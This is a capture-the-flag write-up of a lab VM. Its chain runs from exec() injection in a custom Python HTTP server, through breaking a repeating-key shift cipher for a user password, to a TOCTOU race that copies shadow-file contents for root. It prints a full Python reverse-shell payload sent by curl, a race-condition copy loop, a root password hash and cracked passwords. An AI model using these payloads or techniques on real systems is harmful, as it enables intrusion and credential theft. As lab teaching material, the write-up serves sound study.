This was an interesting challenge which @7axmi and I solved recently. The goal here is to get code execution as a limited user and then do a privilege escalation to get root access.

In summary there are twio vulnerable programs in the VM,

  • A custom written HTTP server: SuperSecureServer.py
  • A custom cryptosystem with which the user credentials are encrypted.
  • A custom written sudo replacement: BetterSSH.py

Getting the source

The homepage of the VM hinted the name of the server’s source filename as SuperSecureServer.py and that it is present in the DocumentRoot. I had no idea where to proceed next if not for @7axmi who ran a script to run a wordlist against the server to enumerate for possible dirs and found it in develop. Once the hard part is over, it was very easy to solve.

Getting user access

Here is the vulnerability. The server runs exec() on user controllable data. We have injection over string passed on to exec() and so we have capability to execute any arbitrary Python code.

def serveDoc(self, path, docRoot):
    path = urllib.parse.unquote(path)
    try:
        info = "output = 'Document: {}'" # Keep the output for later debug
        exec(info.format(path)) # This is how you do string formatting, right?
        cwd = os.path.dirname(os.path.realpath(__file__))

Since the user controlled data is already enclosed within a single quote ', we need to escape it.

IP="10.10.x.y"
PORT=8000
curl http://10.10.10.168:8080/';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$IP",$PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash");'

In the TCP server we have started at $IP:$PORT, we have a reverse shell for the user www-data.

But the flag is at /home/robert/user.txt and we do not have access to the file as we are not robert user. But the home directory for robert is world readable and it has some interesting files.

There are three interesting files in robert's home directory.

  • check.txt contains a sample plaintext as shown below.
  • out.txt contains the ciphertext for check.txt
  • passwordreminder.txt contains the ciphertext for the password for robert user.
Encrypting this file with your key should result in out.txt, make sure your key is correct! 

The assumption here is that the same is key is used in both operations.

The cryptosystem is a rather simple one which is a repeating key shift cipher with the key. Since we know that the plaintext is ASCII printable its value will never exceed 127 and so the % 255 will have no effect whatsoever.

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

The following script derives the key used to encrypt check.txt into out.txt.

#!/usr/bin/env python3
from sys import argv

def main():
    ct_file = argv[1]
    pt_file = argv[2]

    ct = open(ct_file, 'r', encoding='UTF-8').read()
    pt = open(pt_file, 'r', encoding='UTF-8').read()

    assert(len(ct) == len(pt))
    
    key = ''
    for a,b in zip(ct, pt):
        key += chr(ord(a) - ord(b))
        print(key)


if __name__ == '__main__':
   main() 

And we got the key as

alexandrovich

Using this key we can now decrypt passwordreminder.txt. Running it decrypts it and gives back the credential:

python3 ssc.py -i ../passwordreminder.txt -o krp.txt -k alexandrovich -d

We get the password as

SecThruObsFTW

Getting root access

The script BetterSSH.py can be executed as root by robert. The way it works is:

  • Reads username and password through stdin
  • Read /etc/shadow, parse its contents and write it to a random file in /tmp/SSH/*
  • Hash the given password and check against the hash read from shadow file in tmp dir.
  • If hash matches, open up a shell with that user.
  • If not, exit
  • Irrespective of whether it authenticates or not, the tmp dir is cleared.

There is a TOCTOU issue here. By looping over the contents of /tmp/SSH/* and running the script in parallel, we can get the contents.

cd /tmp/SSH
while true
do
	cp * /tmp/store/
done

We got the following file:

root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7

...

Running root’s hash against a dictionary list of passwords with john gave the root password as

mercedes